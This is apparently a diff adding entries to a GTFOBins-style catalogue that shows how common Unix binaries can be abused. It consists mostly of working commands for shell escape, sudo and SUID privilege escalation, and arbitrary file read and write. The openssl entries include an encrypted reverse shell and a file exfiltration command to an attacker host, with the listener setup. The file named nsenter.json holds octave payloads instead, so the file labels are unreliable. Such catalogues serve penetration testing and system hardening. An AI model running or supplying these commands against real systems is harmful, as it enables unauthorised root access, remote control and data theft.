|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nnpm -C $TF i\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"sudo": [
|
|
9
|
+
{
|
|
10
|
+
"code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nsudo npm -C $TF --unsafe-perm i\n"
|
|
11
|
+
}
|
|
12
|
+
]
|
|
13
|
+
}
|
|
14
|
+
}
|
gtfo/data/nroff.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"description": "The file is typeset and some warning messages may appear.",
|
|
6
|
+
"code": "nroff [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"shell": [
|
|
10
|
+
{
|
|
11
|
+
"code": "TF=$(mktemp -d)\necho '#!/bin/sh' > $TF/groff\necho '/bin/sh' >> $TF/groff\nchmod +x $TF/groff\nGROFF_BIN_PATH=$TF nroff\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "TF=$(mktemp -d)\necho '#!/bin/sh' > $TF/groff\necho '/bin/sh' >> $TF/groff\nchmod +x $TF/groff\nsudo GROFF_BIN_PATH=$TF nroff\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/nsenter.json
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "The payloads are compatible with GUI.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "octave-cli --eval 'system(\"/bin/sh\")'"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-write": [
|
|
10
|
+
{
|
|
11
|
+
"code": "octave-cli --eval 'filename = \"[file]\"; fid = fopen(filename, \"w\"); fputs(fid, \"[data]\"); fclose(fid);'"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"file-read": [
|
|
15
|
+
{
|
|
16
|
+
"code": "octave-cli --eval 'format none; fid = fopen(\"[file]\"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'"
|
|
17
|
+
}
|
|
18
|
+
],
|
|
19
|
+
"sudo": [
|
|
20
|
+
{
|
|
21
|
+
"code": "sudo octave-cli --eval 'system(\"/bin/sh\")'"
|
|
22
|
+
}
|
|
23
|
+
],
|
|
24
|
+
"limited-suid": [
|
|
25
|
+
{
|
|
26
|
+
"code": "./octave-cli --eval 'system(\"/bin/sh\")'"
|
|
27
|
+
}
|
|
28
|
+
]
|
|
29
|
+
}
|
|
30
|
+
}
|
gtfo/data/od.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Three spaces are added before each character in the read file, and non-printable chars are printed as backslash escape sequences.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "od -An -c -w9999 [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./od -An -c -w9999 [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo od -An -c -w9999 [file]\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/openssl.json
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"reverse-shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "To receive the shell run the following on the attacker box:\n\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [port]\n\nCommunication between attacker and target will be encrypted.",
|
|
6
|
+
"code": "mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [host]:[port] > /tmp/s; rm /tmp/s\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-upload": [
|
|
10
|
+
{
|
|
11
|
+
"description": "To collect the file run the following on the attacker box:\n\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [port] > [file]\n\nSend a local file via TCP. Transmission will be encrypted.",
|
|
12
|
+
"code": "openssl s_client -quiet -connect [host]:[port] < [file]\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-download": [
|
|
16
|
+
{
|
|
17
|
+
"description": "To send the file run the following on the attacker box:\n\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [port] < [file]\n\nFetch a file from a TCP port, transmission will be encrypted.",
|
|
18
|
+
"code": "openssl s_client -quiet -connect [host]:[port] > [file]\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"file-write": [
|
|
22
|
+
{
|
|
23
|
+
"code": "echo DATA | openssl enc -out [file]\n"
|
|
24
|
+
},
|
|
25
|
+
{
|
|
26
|
+
"code": "TF=$(mktemp)\necho \"DATA\" > $TF\nopenssl enc -in $TF -out [file]\n"
|
|
27
|
+
}
|
|
28
|
+
],
|
|
29
|
+
"file-read": [
|
|
30
|
+
{
|
|
31
|
+
"code": "openssl enc -in [file]\n"
|
|
32
|
+
}
|
|
33
|
+
],
|
|
34
|
+
"suid": [
|
|
35
|
+
{
|
|
36
|
+
"description": "To receive the shell run the following on the attacker box:\n\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [port]\n\nCommunication between attacker and target will be encrypted.",
|
|
37
|
+
"code": "mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | ./openssl s_client -quiet -connect [host]:[port] > /tmp/s; rm /tmp/s\n"
|
|
38
|
+
},
|
|
39
|
+
{
|
|
40
|
+
"code": "echo DATA | openssl enc -out [file]\n"
|
|
41
|
+
}
|
|
42
|
+
],
|
|
43
|
+
"sudo": [
|
|
44
|
+
{
|
|
45
|
+
"description": "To receive the shell run the following on the attacker box:\n\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [port]\n\nCommunication between attacker and target will be encrypted.",
|
|
46
|
+
"code": "mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | sudo openssl s_client -quiet -connect [host]:[port] > /tmp/s; rm /tmp/s\n"
|
|
47
|
+
}
|
|
48
|
+
],
|
|
49
|
+
"library-load": [
|
|
50
|
+
{
|
|
51
|
+
"code": "openssl req -engine ./lib.so"
|
|
52
|
+
}
|
|
53
|
+
]
|
|
54
|
+
}
|
|
55
|
+
}
|
gtfo/data/openvpn.json
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"description": "The file is actually parsed and the first partial wrong line is returned in an error message.",
|
|
6
|
+
"code": "openvpn --config \"[file]\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c \"sh -p\"'\n"
|
|
12
|
+
},
|
|
13
|
+
{
|
|
14
|
+
"description": "The file is actually parsed and the first partial wrong line is returned in an error message.",
|
|
15
|
+
"code": "./openvpn --config \"[file]\"\n"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"sudo": [
|
|
19
|
+
{
|
|
20
|
+
"code": "sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'\n"
|
|
21
|
+
},
|
|
22
|
+
{
|
|
23
|
+
"description": "The file is actually parsed and the first partial wrong line is returned in an error message.",
|
|
24
|
+
"code": "sudo openvpn --config \"[file]\"\n"
|
|
25
|
+
}
|
|
26
|
+
]
|
|
27
|
+
}
|
|
28
|
+
}
|
gtfo/data/openvt.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"description": "The command execution is blind (displayed on the virtual console), but it is possible to save the output on a temporary file.",
|
|
6
|
+
"code": "TF=$(mktemp -u)\nsudo openvt -- sh -c \"[command] >$TF 2>&1\"\ncat $TF\n"
|
|
7
|
+
}
|
|
8
|
+
]
|
|
9
|
+
}
|
|
10
|
+
}
|